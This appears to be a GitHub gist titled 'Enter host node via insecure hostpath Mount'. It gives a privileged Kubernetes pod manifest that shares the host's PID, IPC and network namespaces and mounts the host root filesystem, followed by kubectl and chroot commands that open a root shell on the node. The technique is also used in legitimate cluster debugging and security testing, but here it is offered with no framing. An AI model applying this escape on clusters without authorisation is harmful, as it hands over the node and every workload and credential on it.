Skip to content

Instantly share code, notes, and snippets.

@haphan
Created May 12, 2020 07:36
Show Gist options
  • Select an option

  • Save haphan/9edc35a074390a9bef685dca4b84e5dd to your computer and use it in GitHub Desktop.

Select an option

Save haphan/9edc35a074390a9bef685dca4b84e5dd to your computer and use it in GitHub Desktop.
Enter host node via insecure hostpath Mount
---
# pod.yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: netshoot
  name: netshoot
spec:
  hostPID: true
  hostIPC: true
  hostNetwork: true
  volumes:
  - name: host-fs
    hostPath:
      path: /
  containers:
  - image: nicolaka/netshoot
    name: netshoot
    command: ["/bin/sh", "-c", "sleep infinity"]
    securityContext:
      privileged: true
      allowPrivilegeEscalation: true
    volumeMounts:
    - name: host-fs
      mountPath: /host
  restartPolicy: Never
  nodeSelector:
    kubernetes.io/hostname: <<< PUT NODE NAME HERE >>>
kubectl apply -g pod.yaml
kubectl exec -it netshoot -- bash
chroot /host/ bash
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment